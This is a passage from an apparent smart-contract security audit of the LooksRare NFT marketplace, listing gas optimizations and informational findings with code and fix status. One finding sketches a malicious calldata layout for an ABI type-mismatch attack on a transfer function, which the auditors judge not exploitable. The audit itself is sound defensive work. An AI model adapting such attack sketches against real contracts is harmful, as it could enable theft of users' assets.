testTakerAskCollectionOrderERC721(uint256) (gas: -884 (-0.146%))
testCannotTradeIfWrongAmounts() (gas: -884 (-0.146%))
testTakerAskERC721WithAddressZeroSpecifiedAsRecipient(uint256) (gas: -884 (-0.148%))
testAmountsMismatch() (gas: -884 (-0.154%))
testItemIdsLengthNotOne() (gas: -884 (-0.154%))
testAmountsLengthNotOne() (gas: -884 (-0.155%))
testCannotTradeIfWrongCurrency() (gas: -884 (-0.161%))
testTransferBatchItemsAcrossCollectionERC721AndERC1155() (gas: -442 (-0.168%))
```

```
testCannotTransferIfNoManagerSelectorForAssetType() (gas: -884 (-0.171%))
testZeroAmount() (gas: -884 (-0.181%))
testBidAskAmountMismatch() (gas: -884 (-0.184%))
testPriceMismatch() (gas: -884 (-0.185%))
testCannotTradeIfDomainSeparatorHasBeenUpdated() (gas: -884 (-0.189%))
testTransferBatchItemsAcrossCollectionPerCollectionAmountsAndItemIdsLengthMismatch() (gas: -442
↪  (-0.190%))
testTransferBatchItemsAcrossCollectionPerCollectionItemIdsLengthZero() (gas: -442 (-0.191%))
testCannotTradeIfChainIdHasChanged() (gas: -884 (-0.196%))
testTransferBatchItemsSameERC721() (gas: -442 (-0.201%))
testThreeTakerBidsERC721WrongLengths() (gas: -884 (-0.204%))
testCannotCallRestrictedExecuteTakerBid() (gas: -884 (-0.207%))
testTransferBatchItemsSameERC1155() (gas: -442 (-0.221%))
testTransferSingleItemERC721() (gas: -442 (-0.237%))
testTransferSingleItemERC1155() (gas: -442 (-0.266%))
testTransferBatchItemsAcrossCollectionWrongAssetTypesLength() (gas: -442 (-0.334%))
testTransferBatchItemsAcrossCollectionWrongAmountsLength() (gas: -442 (-0.336%))
testTransferBatchItemsAcrossCollectionWrongItemIdsLength() (gas: -442 (-0.336%))
testTransferBatchItemsAcrossCollectionZeroCollectionsLength() (gas: -442 (-0.336%))
testCannotBatchTransferIfAssetTypeIsNotZeroOrOne() (gas: -442 (-0.336%))
testUserCannotGrantApprovalsIfAlreadyApproved() (gas: -659 (-0.515%))
testCannotBatchTransferIfOperatorApprovalsRevoked() (gas: -1095 (-0.735%))
testCannotTransferERC1155IfOperatorApprovalsRevokedByUserOrOperatorRemovedByOwner() (gas: -1095
↪  (-0.766%))
testCannotTransferERC721IfOperatorApprovalsRevokedByUserOrOperatorRemovedByOwner() (gas: -1095
↪  (-0.767%))
Overall gas change: -72955 (-13.980%)
```

LooksRare: Fixed in PR 316.

Spearbit: Verified.

5.4.6 `recipients[0]` is never used

Severity: Gas Optimization

Context:

- ExecutionManager.sol#L169
- ExecutionManager.sol#L255
- LooksRareProtocol.sol#L452

Description: `recipients[0]` is set to `protocolFeeRecipient`. But its value is never used afterward. In `_payProtocolFeeAndAffiliateFee`, the `fees[0]` amount is manually distributed to an affiliate if any and the `protocolFeeRecipient`.

Recommendation: `recipients` can be made into an `address[2]` array (by removing the element corresponding to `protocolFeeRecipient`) and `fees` elements can be rearranged so that `fees[2]` corresponds to the fee directed to the protocol and an affiliate.

LooksRare: Fixed in PR 314 and PR 371. The order of fungible token transfers have been swapped. The seller is paid 1st then the creator.

Spearbit: Verified.

5.4.7 `currency` validation can be optimized/refactored

Severity: Gas Optimization

Context:

- StrategyUSDDynamicAsk.sol#L86-L90
- StrategyUSDDynamicAsk.sol#L163-L167
- StrategyFloorFromChainlink.sol#L62-L66
- StrategyFloorFromChainlink.sol#L116-L120

Description: In the context above we are enforcing only native tokens or `WETH` to be supplied. The `if` statement can be simplified and refactored into a utility function (possibly defined in either `BaseStrategy` or in `BaseStrategyChainlinkPriceLatency`):

```
if (makerAsk.currency != address(0)) {
    if (makerAsk.currency != WETH) {
        revert WrongCurrency();
    }
}
```

Recommendation: Refactor and simplify

```
/*
 *  error WrongCurrency()
 *  Memory layout:
 *    - 0x00: Left-padded selector (data begins at 0x1c)
 *  Revert buffer is memory[0x1c:0x20]
 */
uint256 constant WrongCurrency_error_selector = 0x164fb6c2;
uint256 constant WrongCurrency_error_length = 0x04;
uint256 constant Error_selector_offset = 0x1c;

function _allowNativeOrSupplied(address currency, address supplied) internal pure {
  assembly {
    if mul(currency, iszero(eq(currency, supplied))) {
      mstore(0x00, WrongCurrency_error_selector)
      revert(Error_selector_offset, WrongCurrency_error_length)
    }
  }
}
```

Note: `_allowNativeOrSupplied` takes into consideration potential dirty bytes of `currency` and `supplied`.

LooksRare: Fixed in PR 306.

Spearbit: Verified.

5.4.8 validating `amount` can be simplified and possibly refactored

Severity: Gas Optimization

Context:

- InheritedStrategy.sol#L113-L120
- StrategyCollectionOffer.sol#L56-L63
- StrategyCollectionOffer.sol#L97-L104
- StrategyDutchAuction.sol#L43-L50
- StrategyItemIdsRange.sol#L62-L69
- StrategyUSDDynamicAsk.sol#L72-L79

and:

- StrategyUSDDynamicAsk.sol#L149-L156
- StrategyDutchAuction.sol#L108-L115

Description: In the context above, we are trying to invalidate orders that have `0` amounts or an amount other than `1` when the asset if an `ERC721`

```
if (amount != 1) {
    if (amount == 0) {
        revert OrderInvalid();
    }
    if (assetType == 0) {
        revert OrderInvalid();
    }
}
```

The above snippet can be simplified into:

```
if (amount == 0 or (amount != 1 and assetType == 0)) {
   revert OrderInvalid();
}
```

Recommendation: It is suggested to use the above simplified version or even an assembly block

```
/*
 *  error OrderInvalid()
 *  Memory layout:
 *    - 0x00: Left-padded selector (data begins at 0x1c)
 *  Revert buffer is memory[0x1c:0x20]
 */
uint256 constant OrderInvalid_error_selector = 0x2e0c0f71;
uint256 constant OrderInvalid_error_length = 0x04;
uint256 constant Error_selector_offset = 0x1c;

...
assembly {
  let invalidOrder := or(
    iszero(amount),
    and(xor(amount, 1), iszero(assetType)))
  )
  if invalidOrder {
    mstore(0x00, OrderInvalid_error_selector)
    revert(Error_selector_offset, OrderInvalid_error_length)
  }
}
```

It would also be great to refactor these validations into a utility function that can be used across the board:

```
function _validateAmount(uint256 amount, uint256 assetType) internal pure {
  assembly {
    let invalidOrder := or(
      iszero(amount),
      and(xor(amount, 1), iszero(assetType)))
    )
    if invalidOrder {
      mstore(0x00, OrderInvalid_error_selector)
      revert(Error_selector_offset, OrderInvalid_error_length)
    }
  }
}
```

For the special cases:

- StrategyUSDDynamicAsk.sol#L149-L156
- StrategyDutchAuction.sol#L108-L115

We would need to `return` instead of `revert`.

LooksRare: Fixed in PR 305 and PR 364.

Spearbit: Verified.

5.4.9 `_verifyMatchingItemIdsAndAmountsAndPrice` can be further optimized

Severity: Gas Optimization

Context:

- InheritedStrategy.sol#L59

Description: `_verifyMatchingItemIdsAndAmountsAndPrice`'s validation logic uses more opcodes than is necessary. Also, the whole function can be turned into an `assembly` block to further optimized this function.

Examples of simplifications for `if` conditions

```
or(X, gt(Y, 0))
or(X, Y) // simplified version
```

```
or(X, iszero(eq(Y,Z)))
or(X, xor(Y, Z)) // simplified version
```

The nested `if` block below

```
if (amount != 1) {
    if (amount == 0) {
        revert OrderInvalid();
    }
    if (assetType == 0) {
        revert OrderInvalid();
    }
}
```

can be simplified into

```
if (amount == 0) {
    revert OrderInvalid();
}

if ((amount != 1) && (assetType == 0)) {
     revert OrderInvalid();
}
```

Recommendation: Here is a sketch of a low-level implementation that includes the optimization and also utilizes inline-assembly further:

```
/*
 *  error OrderInvalid()
 *  Memory layout:
 *    - 0x00: Left-padded selector (data begins at 0x1c)
 *  Revert buffer is memory[0x1c:0x20]
 */
uint256 constant OrderInvalid_error_selector = 0x2e0c0f71;
uint256 constant OrderInvalid_error_length = 0x04;
uint256 constant Error_selector_offset = 0x1c;

uint256 constant OneWord = 0x20;

function _verifyMatchingItemIdsAndAmountsAndPrice(
    uint256 assetType,
    uint256[] calldata amounts,
    uint256[] calldata counterpartyAmounts,
    uint256[] calldata itemIds,
    uint256[] calldata counterpartyItemIds,
    uint256 price,
    uint256 counterpartyPrice
) private pure {
    assembly {
        let end
        {
            /*
             * if (
             *     amountsLength == 0 ||
             *     // If A == B, then A XOR B == 0. So if all 4 are equal, it should be 0 | 0 | 0 == 0
             *     ((amountsLength ^ itemIdsLength) |
             *         (amountsLength ^ counterpartyAmountsLength) |
             *         (amountsLength ^ counterpartyItemIdsLength)) !=
             *     0 ||
             *     price != counterpartyPrice
             * ) {
             *     revert OrderInvalid();
             * }
             */
            let amountsLength := amounts.length
            let itemIdsLength := itemIds.length
            let counterpartyAmountsLength := counterpartyAmounts.length
            let counterpartyItemIdsLength := counterpartyItemIds.length

            if or(
                or(iszero(amountsLength), xor(price, counterpartyPrice)),
                or(
                    or(
                        xor(amountsLength, itemIdsLength),
                        xor(amountsLength, counterpartyAmountsLength)
                    ),
```

```
                    xor(amountsLength, counterpartyItemIdsLength)
                )
            ) {
                mstore(0x00, OrderInvalid_error_selector)
                revert(Error_selector_offset, OrderInvalid_error_length)
            }

            end := shl(5, amountsLength)
        }

        let _assetType := assetType
        let amountsOffset := amounts.offset
        let itemIdsOffset := itemIds.offset
        let counterpartyAmountsOffset := counterpartyAmounts.offset
        let counterpartyItemIdsOffset := counterpartyItemIds.offset

        for {} end {} {
            end := sub(end, OneWord)

            let amount := calldataload(add(amountsOffset, end))
            let invalidOrder

            {
                let itemId := calldataload(add(itemIdsOffset, end))
                let counterpartyAmount := calldataload(add(counterpartyAmountsOffset, end))
                let counterpartyItemId := calldataload(add(counterpartyItemIdsOffset, end))

                invalidOrder := or(
                    xor(amount, counterpartyAmount),
                    xor(itemId, counterpartyItemId)
                )
            }

            invalidOrder := or(
                invalidOrder,
                or(
                    iszero(amount),
                    and(xor(amount, 1), iszero(assetType))
                )
            )

            if invalidOrder {
                mstore(0x00, OrderInvalid_error_selector)
                revert(Error_selector_offset, OrderInvalid_error_length)
            }
        }
    }
}
```

```
testTakerBidMultipleOrdersSignedERC721() (gas: -123 (-0.000%))
testTakerAskMultipleOrdersSignedERC721() (gas: -123 (-0.000%))
testPriceMismatch() (gas: -6 (-0.001%))
testBidAskAmountMismatch() (gas: -16 (-0.003%))
testCannotValidateOrderIfWrongFormat() (gas: -72 (-0.012%))
testTakerAskERC721WithRoyaltiesFromRegistryWithDelegation() (gas: -123 (-0.017%))
testTakerBidERC721WithRoyaltiesFromRegistry(uint256) (gas: -123 (-0.018%))
testTakerBidERC721WithRoyaltiesFromRegistryWithDelegation() (gas: -123 (-0.018%))
testTakerAskERC721WithRoyaltiesFromRegistry(uint256) (gas: -123 (-0.018%))
testCannotExecuteAnOrderTwice() (gas: -123 (-0.018%))
testCreatorRoyaltiesGetPaidForRoyaltyFeeManager() (gas: -123 (-0.018%))
testCreatorRebatesArePaidForRoyaltyFeeManager() (gas: -123 (-0.018%))
```

```
testTakerBidERC721WithAffiliateButWithoutRoyalty() (gas: -123 (-0.018%))
testTakerAskERC721WithAffiliateButWithoutRoyalty() (gas: -123 (-0.019%))
testCreatorRoyaltiesGetPaidForERC2981() (gas: -123 (-0.019%))
testCreatorRebatesArePaidForERC2981() (gas: -123 (-0.019%))
testCannotExecuteMultipleTakerBidsIfDifferentCurrencies() (gas: -123 (-0.020%))
testTakerBidERC721WithAddressZeroSpecifiedAsRecipient(uint256) (gas: -123 (-0.020%))
testTakerAskERC721WithAddressZeroSpecifiedAsRecipient(uint256) (gas: -123 (-0.021%))
testCannotTransferIfNoManagerSelectorForAssetType() (gas: -123 (-0.024%))
testCreatorRoyaltiesRevertIfFeeHigherThanLimit() (gas: -246 (-0.034%))
testTakerBidGasGriefing() (gas: -123 (-0.038%))
testThreeTakerBidsERC721() (gas: -369 (-0.048%))
testCannotTradeIfWrongAmounts() (gas: -365 (-0.060%))
testCreatorRoyaltiesGetPaidForERC2981WithBundles() (gas: -691 (-0.064%))
testMultipleTakerBidsERC721WithAffiliateButWithoutRoyalty() (gas: -984 (-0.067%))
testTakerBidCannotTransferSandboxWithERC721AssetTypeButERC1155AssetTypeWorks() (gas: -246 (-0.068%))
testCreatorRoyaltiesGetPaidForERC2981WithBundles() (gas: -691 (-0.069%))
testTakerAskCannotTransferSandboxWithERC721AssetTypeButERC1155AssetTypeWorks() (gas: -246 (-0.069%))
testThreeTakerBidsERC721OneFails() (gas: -738 (-0.071%))
testCreatorRoyaltiesRevertForEIP2981WithBundlesIfInfoDiffer() (gas: -691 (-0.075%))
testThreeTakerBidsGasGriefing() (gas: -369 (-0.075%))
testCreatorRebatesArePaidForRoyaltyFeeManagerWithBundles() (gas: -691 (-0.084%))
testCreatorRoyaltiesGetPaidForRoyaltyFeeManagerWithBundles() (gas: -691 (-0.084%))
testTakerBidERC721BundleWithRoyaltiesFromRegistry() (gas: -691 (-0.089%))
testTakerAskERC721BundleWithRoyaltiesFromRegistry() (gas: -691 (-0.090%))
testTakerBidERC721BundleNoRoyalties() (gas: -691 (-0.099%))
testTakerAskERC721BundleNoRoyalties() (gas: -691 (-0.100%))
testCreatorRoyaltiesRevertForEIP2981WithBundlesIfInfoDiffer() (gas: -1382 (-0.140%))
Overall gas change: -13472 (-1.724%)
```

> **Warning** If the above implementation gets included, it is highly recommended to also include unit and differential tests against a high-level implementation.

LooksRare: Fixed in PR 299.

Spearbit: Verified.

5.5 Informational

5.5.1 In `StrategyFloorFromChainlink` `premium` amounts miss the related checks when compared to checks for `discount` amounts

Severity: Informational

Context:

- StrategyFloorFromChainlink.sol#L79-L80
- StrategyFloorFromChainlink.sol#L133-L134
- StrategyFloorFromChainlink.sol#L184-L191
- StrategyFloorFromChainlink.sol#L241-L249

Description: For `discount` amounts, `StrategyFloorFromChainlink` has custom checks for the underflows (even though they will be caught by the compiler):

```
if (floorPrice <= discountAmount) {
    revert DiscountGreaterThanFloorPrice();
}

uint256 desiredPrice = floorPrice - discountAmount;

...

// @dev Discount cannot be 100%
if (discount >= 10_000) {
    revert OrderInvalid();
}

uint256 desiredPrice = (floorPrice * (10_000 - discount)) / 10_000;
```

Similar checks for overflows for the `premium` are missing in the execution and validation endpoints (even though they will be caught by the compiler, `floorPrice + premium` or `10_000 + premium` might overflow).

Recommendation: Either document/comment why the checks are present for `discount` and missing for `premium` or implement similar ones for `premium`. The simplest method to recognize whether a sum overflows is to use `assembly` blocks

```
function sumOverflows(uint256 a, uint256 b) internal pure returns (bool overflows) {
  assembly {
    overflows := lt(add(a,b), a)
  }
}
```

Note that `solc` also performs a similar check when addition is used in a block that is not `unchecked`

```
// YUL
function checked_add_t_uint256(x, y) -> sum {
    x := cleanup_t_uint256(x)
    y := cleanup_t_uint256(y)
    sum := add(x, y)

    if gt(x, sum) { panic_error_0xXX() }
}
```

LooksRare: Only comments have been added to emphasize that custom overflow checks for `premium`s are not implemented. See PR 366.

Spearbit: Verified.

5.5.2 `StrategyFloorFromChainlink`'s `isMakerBidValid` compare the time dependent `floorPrice` to a fixed `discount`

Severity: Informational

Context:

- StrategyFloorFromChainlink.sol#L313

Description: When `isMakerBidValid` gets called depending on the market conditions at that specific time the comparisons between the `floorPrice` and the `discount` might cause this function to either return `isValid` as `true` or `false`.

Recommendation: The above issue needs to be documented for the users/makers so that they would be aware that the validation performed by the `isMakerBidValid` is time-dependent.

This is also true when one checks the health of a price feed (positivity and freshness of the answer) for both chainlink floor price and `USD` strategies.

LooksRare: Documented in PR 370.

Spearbit: Verified.

5.5.3 `StrategyFloorFromChainlink`'s `isMakerAskValid` does not validate `makerAsk.additionalParameters`

Severity: Informational

Context:

- StrategyFloorFromChainlink.sol#L79
- StrategyFloorFromChainlink.sol#L133

Description: For `executeFixedPremiumStrategyWithTakerBid` and `executeBasisPointsPremiumStrategyWithTakerBid`, maker needs to make sure to populate its `additionalParameters` with the `premium` amount, otherwise the taker's transactions would revert:

```
makerAsk.additionalParameters = abi.encode(premium);
```

`isMakerAskValid` does not check whether `makerAsk.additionalParameters` has `32` as its length. For example, the validation endpoint for `StrategyCollectionOffer` does check this for the merkle root.

Recommendation: In `isMakerAskValid` check whether `makerAsk.additionalParameters.length == 32` and if not set `isValid` to false and return with a custom error selector.

LooksRare: Implemented recommendation in PR 365.

Spearbit: Verified.

5.5.4 `StrategyFloorFromChainlink` strategies do not check for asset types explicitly

Severity: Informational

Context:

- StrategyFloorFromChainlink.sol#L54
- StrategyFloorFromChainlink.sol#L108
- StrategyFloorFromChainlink.sol#L162
- StrategyFloorFromChainlink.sol#L219
- StrategyCollectionOffer.sol#L32
- StrategyCollectionOffer.sol#L73

Description: `StrategyFloorFromChainlink` has `4` different execution endpoints:

- `executeFixedPremiumStrategyWithTakerBid`
- `executeBasisPointsPremiumStrategyWithTakerBid`
- `executeFixedDiscountCollectionOfferStrategyWithTakerAsk`
- `executeBasisPointsDiscountCollectionOfferStrategyWithTakerAsk`

All these endpoints require that only one amount to be passed (asked for or bid on) and that amount would need to be `1`. This is in contrast to `StrategyCollectionOffer` strategy that allows an arbitrary amount (although also required to be only one amount, `[a]`)

Currently, Chainlink only provides price feeds for a selected list of `ERC721` collections: `https://docs.chain.link/data-feeds/nft-floor-price/addresses`

So, if there are no price feeds for `ERC1155` (as of now), the transaction would `revert`. Thus implicitly one can deduce that the chainlink floor strategies are only implemented for `ERC721` tokens.

Other strategies condition the `amounts` based on the `assetType`:

- `assetType == 0` or `ERC721` collections can only have `1` as a valid amount
- `assetType == 0` or `ERC1155` collections can only have a non-zero number as a valid amount

If in the future chainlink or another token-price-feed adds support for some `ERC1155` collections, one cannot use the current floor strategies to fulfill an order with an amount greater than `1`.

Recommendation: Either document/comment (in NatSpec) that `StrategyFloorFromChainlink` is meant to be used for `ERC721` tokens and in this case perhaps in the strategy execution and validation endpoints one should revert if `assetType` is non-zero.

Or to future-proof and unify the amount validation with other strategies, condition the allowed amounts based on the asset type like above (example or the suggested implementation in https://github.com/spearbit-audits/review-looksrare/issues/12).

LooksRare: Comments added in PR 355.

Spearbit: Verified.

5.5.5 `itemIds` and `amounts` are redundant fields for `takerXxx` struct

Severity: Informational

Context:

- OrderStructs.sol#L133-L134
- OrderStructs.sol#L116-L117

Description: Taker is the entity that initiates the calls to `LooksRareProtocol`'s `3` order execution endpoints. Most implemented strategies (which are fixed/chosen by the maker through signing the `makerXxx` which includes the `strategyId`) require the `itemIds` and `amounts` fields for the maker and the taker to mirror each other.

- M_i^j : the j th element of maker's `itemIds` fields (the struct would be either `MakerBid` or `MakerAsk` depending on the context)
- M_a^j : the j th element of maker's `amounts` fields (the struct would be either `MakerBid` or `MakerAsk` depending on the context)
- T_i^j : the j th element of taker's `itemIds` fields (the struct would be either `TakerBid` or `TakerAsk` depending on the context)
- T_a^j : the j th element of taker's `amounts` fields (the struct would be either `TakerBid` or `TakerAsk` depending on the context)

Borrowing notations also from:

- *"Constraints among the number of item ids and amounts for taker or maker bids or asks are inconsistent among different strategies"*
- `IneheritedStategy` : $T_i^j = M_i^j, T_a^j = M_a^j$
- `StrategyDutchAuction` : $T_i^j = M_i^j, T_a^j = M_a^j$, taker can send extra `itemIds` and `amounts` but they won't be used.
- `StrategyUSDDynamicAsk` : $T_i^j = M_i^j, T_a^j = M_a^j$, taker can send extra `itemIds` and `amounts` but they won't be used.
- `StrategyFloorFromChainlink.execute...PremiumStrategyWithTakerBid` : $T_i^0 = M_i^0, T_a^0 = M_a^0 = 1$, taker can send extra `itemIds` and `amounts` but they won't be used.
- `StrategyFloorFromChainlink.execute...DiscountCollectionOfferStrategyWithTakerAsk` : $T_a^0 = M_a^0 = 1$, maker's `itemIds` are unused.
- `StrategyCollectionOffer` : $T_a^0 = M_a^0$, maker's `itemIds` are unused and taker's T_a^i for $i > 0$ are also unused.
- `StrategyItemIdsRange` : $M_i^0 \leq T_i^j \leq M_i^1, \sum T_a^j = M_a^0$.

For

- IneheritedStategy
- StrategyDutchAuction
- StrategyUSDDynamicAsk
- StrategyFloorFromChainlink.execute...PremiumStrategyWithTakerBid

Shared taker's itemIds and amounts are redundant as they should exactly match maker's fields. For the other strategies, one can encode the required parameters in either maker's or taker's additionalParameters fields.

Recommendation: Redefine TakerAsk and TakerBid as:

```
struct TakerAsk {
    address recipient;
    uint256 minPrice;
    bytes additionalParameters;
}

struct TakerBid {
    address recipient;
    uint256 maxPrice;
    bytes additionalParameters;
}
```

For StrategyFloorFromChainlink.execute...DiscountCollectionOfferStrategyWithTakerAsk and StrategyCollectionOffer.executeCollectionStrategyWithTakerAsk encode takerAsk.additionalParameters as:

```
takerAsk.additionalParameters = abi.encode(offeredItemId); // makerBid.itemIds will be unused
```

For StrategyCollectionOffer.executeCollectionStrategyWithTakerAskWithProof encode takerAsk.additionalParameters as:

```
takerAsk.additionalParameters = abi.encode(offeredItemId, proof); // makerBid.itemIds will be unused
```

For StrategyItemIdsRange encode takerAsk.additionalParameters as makerBid.additionalParameters as:

```
takerAsk.additionalParameters = abi.encode(offeredItems); // if implementing issues/56 or
takerAsk.additionalParameters = abi.encode(offeredItemIds, offeredAmounts);

makerBid.additionalParameters = abi.encode(desiredAmount, minItemId, maxItemId);
```

For this strategy, the maker can leave the itemIds and amounts fields empty.

Implementing this recommendation would remove the necessity of all the checks to ensure the mirroring structures.

LooksRare: Fix implemented in PR 353, PR 373 and PR 383.

TakerBid and TakerAsk are merged into:

```
struct Taker {
    address recipient;
    bytes additionalParameters;
}
```

Any extra parameter for a strategy is encoded in additionalParameters.

Spearbit: Verified.

5.5.6 `discount == 10_000` is not allowed in `executeBasisPointsDiscountCollectionOfferStrategyWithTakerAsk`

Severity: Informational

Context:

- StrategyFloorFromChainlink.sol#L242
- StrategyFloorFromChainlink.sol#L249
- StrategyFloorFromChainlink.sol#L244-L247

Description: `executeBasisPointsDiscountCollectionOfferStrategyWithTakerAsk` reverts if `discount == 10_000`, but does not if `discount == 99_99` which almost has the same effect.

Note that if `discount == 10_000`, (forgetting about the revert) `price = desiredPrice = 0`. So, unless the taker (sender of the transaction) has set its `takerAsk.minPrice` to `0` (maker is bidding for a 100% discount and taker is gifting the NFT), the transaction would revert:

```
if (takerAsk.minPrice > price) { // takerAsk.minPrice > 0
    revert AskTooHigh();
}
```

Recommendation: Document why `discount == 10_000` is not allowed.

- **Options 1** If decided to allow `100%` discount on the floor price, then one can simplify the code so that instead of storing `discount` in `makerBid.additionalParameters`, we would store `10_000 - discount` and call it `desiredPriceRatioInBPS`:

```
uint256 desiredPriceRatioInBPS = abi.decode(makerBid.additionalParameters, (uint256));

if (priceRatioInBPS > 10_000) {
    revert OrderInvalid();
}

uint256 desiredPrice = (floorPrice * desiredPriceRatioInBPS) / 10_000; // <-- saves a subtraction
```

- **Options 2** If we do not want `discount` to get close to `10_000`, perhaps as an alternative, we can introduce a stricter upper bound for it.

  Note Similiar discussion applies to `floorPrice <= discountAmount` in `executeFixedDiscountCollectionOfferStrategyWithTakerAsk`

LooksRare: Allowing discount to be 100% in PR 368.

We think it is best not to pursue option 1 even though it saves a subtraction. It's more readable/consistent to use the name `discount` for both fixed and basis points discount than to use `discount` for `fixed discount` and `desired ratio` for `basis points discount`. If we are to use `desiredPriceRatioInBPS`, we will have to do the same for the premium and validate the `premium` to be greater than 10,000.

Spearbit: Verified.

5.5.7 Restructure `executeMultipleTakerBids`'s input parameters

Severity: Informational

Context:

- LooksRareProtocol.sol#L166
- LooksRareProtocol.sol#L175-L180

Description: `executeMultipleTakerBids` has the following form

```
function executeMultipleTakerBids(
  OrderStructs.TakerBid[] calldata takerBids,
  OrderStructs.MakerAsk[] calldata makerAsks,
  bytes[] calldata makerSignatures,
  OrderStructs.MerkleTree[] calldata merkleTrees,
  address affiliate,
  bool isAtomic
)
```

For the input parameters provided, we need to make sure `takerBids`, `makerAsks`, `makerSignatures`, and `merkleTrees` all have the same length. We can enforce this requirement by definition, if we restructure the input passed to `executeMultipleTakerBids`.

Recommendation: Define a new `struct`

```
struct BidOrder {
  TakerBid takerBid;
  MakerAsk makerAsk;
  bytes makerSignature;
  MerkleTree merkleTree;
}
```

and pass an input parameters of this type to `executeMultipleTakerBids`

```
function executeMultipleTakerBids(
  BidOrder[] calldata bidOrders,
  address affiliate,
  bool isAtomic
) external payable nonReentrant {
  uint256 length = bidOrders.length;
  if (length == 0) {
    revert WrongLengths(); // <--- possibly this can be changed to WrongLength()
  }
  ...
```

Optionally, one can apply this parameter change to `executeTakerAsk` (we need to define a new `struct` for this instance) and `executeTakerBid` as well.

Related issue: *"Restructure transferBatchItemsAcrossCollections input parameter format"*.

LooksRare: Acknowledged but won't adjust.

Spearbit: Acknowledged.

5.5.8 Restructure `transferBatchItemsAcrossCollections` input parameter format

Severity: Informational

Context:

- TransferManager.sol#L112-L119
- TransferManager.sol#L122-L130
- TransferManager.sol#L140-L142

Description: `transferBatchItemsAcrossCollections` has the following form

```
function transferBatchItemsAcrossCollections(
  address[] calldata collections,
  uint256[] calldata assetTypes,
  address from,
  address to,
  uint256[][] calldata itemIds,
  uint256[][] calldata amounts
)
```

where `collections`, `assetTypes`, `itemIds` and `amounts` are supposed to have the same lengths. One can enforce that by redefining the input parameter and have this invariant enforced by definition.

Recommendation: Define a new `struct`

```
struct TransferItem {
  address collection;
  uint256 assetType;
  uint256[] itemIds;
  uint256[] amounts;
}
```

or if implementing:

- *"Restructure struct definitions in OrderStructs in a more optimized format"*.

```
struct TransferItem {
  address collection;
  uint256 assetType;
  Item[] items;
}
```

and so `transferBatchItemsAcrossCollections` will have the following form:

```
function transferBatchItemsAcrossCollections(
  address from,
  address to,
  TransferItem[] calldata transferItems
) external {
  uint256 transferItemsLength = transferItems.length;

  if (transferItemsLength == 0) {
      revert WrongLengths(); // <--- possibly this can be changed to WrongLength()
  }

  if (from != msg.sender) {
      if (!isOperatorValidForTransfer(from, msg.sender)) {
          revert TransferCallerInvalid();
      }
  }

  for (uint256 i; i < transferItemsLength; ) {
      uint256 itemsForSingleTransfer = transferItems[i].items.length;
      if (itemsForSingleTransfer == 0) { // <--- if issues/56 implemented
          revert WrongLengths(); // <--- possibly this can be changed to WrongLength()
      }
  ...
```

An added benefit is that the calldata is more compactly packed as well.

Optionally, One could redfine `transferItemsERC721` and `transferItemsERC1155` using the above new `struct`.

Related issue: *"Restructure executeMultipleTakerBids's input parameters"*.

> **Warning** The issue below needs to be re-examined due to the change of input parameters structures:

- *"An approved operator can call transferBatchItemsAcrossCollections"*.

LooksRare: Fixed in PR 375. Only `transferBatchItemsAcrossCollections` has been modified to use the new struct.

Spearbit: Verified.

5.5.9 An approved operator can call `transferBatchItemsAcrossCollections`

Severity: Informational

Context:

- TransferManager.sol#L112

Description: `TransferManager` has 3 endpoints that an approved operator can call:

- `transferItemsERC721`
- `transferItemsERC1155`
- `transferBatchItemsAcrossCollections`

The first 2 share the same input parameter types but differ from `transferBatchItemsAcrossCollections`:

```
address   , address   , address, uint256[], uint256[]               // transferItemsERC721,
↪  transferItemsERC1155
address[], address[], address, address   , uint256[][], uint256[][] //
↪  transferBatchItemsAcrossCollections
```

An operator like `LooksRareProtocol` might have an owner (O_L) that can select/add arbitrary endpoint of this transfer manager for an asset type, but only call the transfer manager using the same input parameter types regardless of the added endpoint.

So in this case, O_L might add a new asset type with `TransferManager.transferBatchItemsAcrossCollections.selector` as the selector and this transfer manager as the manager. Now, since this operator/`LooksRareProtocol` (and possibly other future implementations of approved operators) uses the same list of parameters for all endpoints, when `_transferNFT` gets called, the protocol would call the transfer manager using the `transferBatchItemsAcrossCollections` endpoint but with the following encoded data:

```
abi.encodeWithSelector(
        managerSelectorOfAssetType[assetType].selector,
        collection,
        sender,
        recipient,
        itemIds,
        amounts
    )
)
```

A crafty O_L might try to take advantage of the parameter type mismatch to create a malicious payload

```
(address, address, address, uint256[], uint256[] )
```

that when decoded as

```
(address[], address[], address, address, uint256[][], uint256[][])
```

It would allow them to transfer any NFT tokens from any user to some specific users.

```
                                                                    ; interpreted paramters | original
                                                                    ↪  parameter
                                                                    ; ----------------------------------
                                                                    ↪  --------
  000000000000000000000000000000000000000000000000000000000000c0 ; collections.ptr       | collection
  0000000000000000000000000000000000000000000000000000000000000100 ; assetTypes.ptr        | from /
  ↪  Ma.s or msg.sender
  000000000000000000000000000000000000000000000000000000000000X3 ; from                   | to   /
  ↪  Tb.r or Mb.s
  000000000000000000000000000000000000000000000000000000000000X4 ; to                     |
  ↪  itemIds.ptr -> 0xa0
x 0000000000000000000000000000000000000000000000000000000000000140 ; itemIds.ptr          |
↪  amounts.ptr -> 0xc0 + 0x20 * itemIds.length
  000000000000000000000000000000000000000000000000000000000001c0 ; amounts.ptr           |
  ↪  itemIds.length
                                                                    ;                      | itemIds[0]
                                                                    ;                      | itemIds[1]
...
```

Fortunately, that is not possible since in this particular instance the `transferItemsERC721` and `transferItemsERC1155`'s `amounts`'s calldata tail pointer always coincide with `transferBatchItemsAcrossCollections`'s `itemIds`'s calldata tail pointer (`uint256[] amounts`, `uint256[][] itemIds`) which unless both have length `0` it would cause the compiled code to revert due to out of range index access. This is also dependent on if/how the compiler encodes/decodes the calldata and if the compiler would add the bytecodes for the deployed code to revert for OOR accesses (which `solc` does). This is just a lucky coincidence otherwise, O_T could have exploited this flaw.

Recommendation:

1. `transferBatchItemsAcrossCollections` has not been used by the `LooksRareProtocol` as an operator for any asset types and its presence is only utilitarian. It's recommended to be removed from `TransferManager`. If `transferBatchItemsAcrossCollections` is needed it can be defined in another transfer manager contract.

2. With the current implementation of `_transferNFT` which assumes all endpoints of a transfer manager consume the same combination of input parameters, in all defined transfer managers the endpoints that an operator can call should consume the same input parameter types.
3. To add even more protection, each transfer manager should only handle `1` asset type and only through `1` endpoint that an operator can call. Or users of transfer managers should be able to handpick which endpoints an operator is approved to call for that transfer manager (vs the current implementation where the user approval for an operator is at the contract level). This would introduce a more granular approval process for the operators.

```
// below is just an example, another solution is to index the endpoints and
// bitmap up to 256 selector permissions into one storage slot
mapping(address => mapping(address => mapping(bytes4 => bool))) public
↪  hasUserApprovedOperatorForASelector;
```

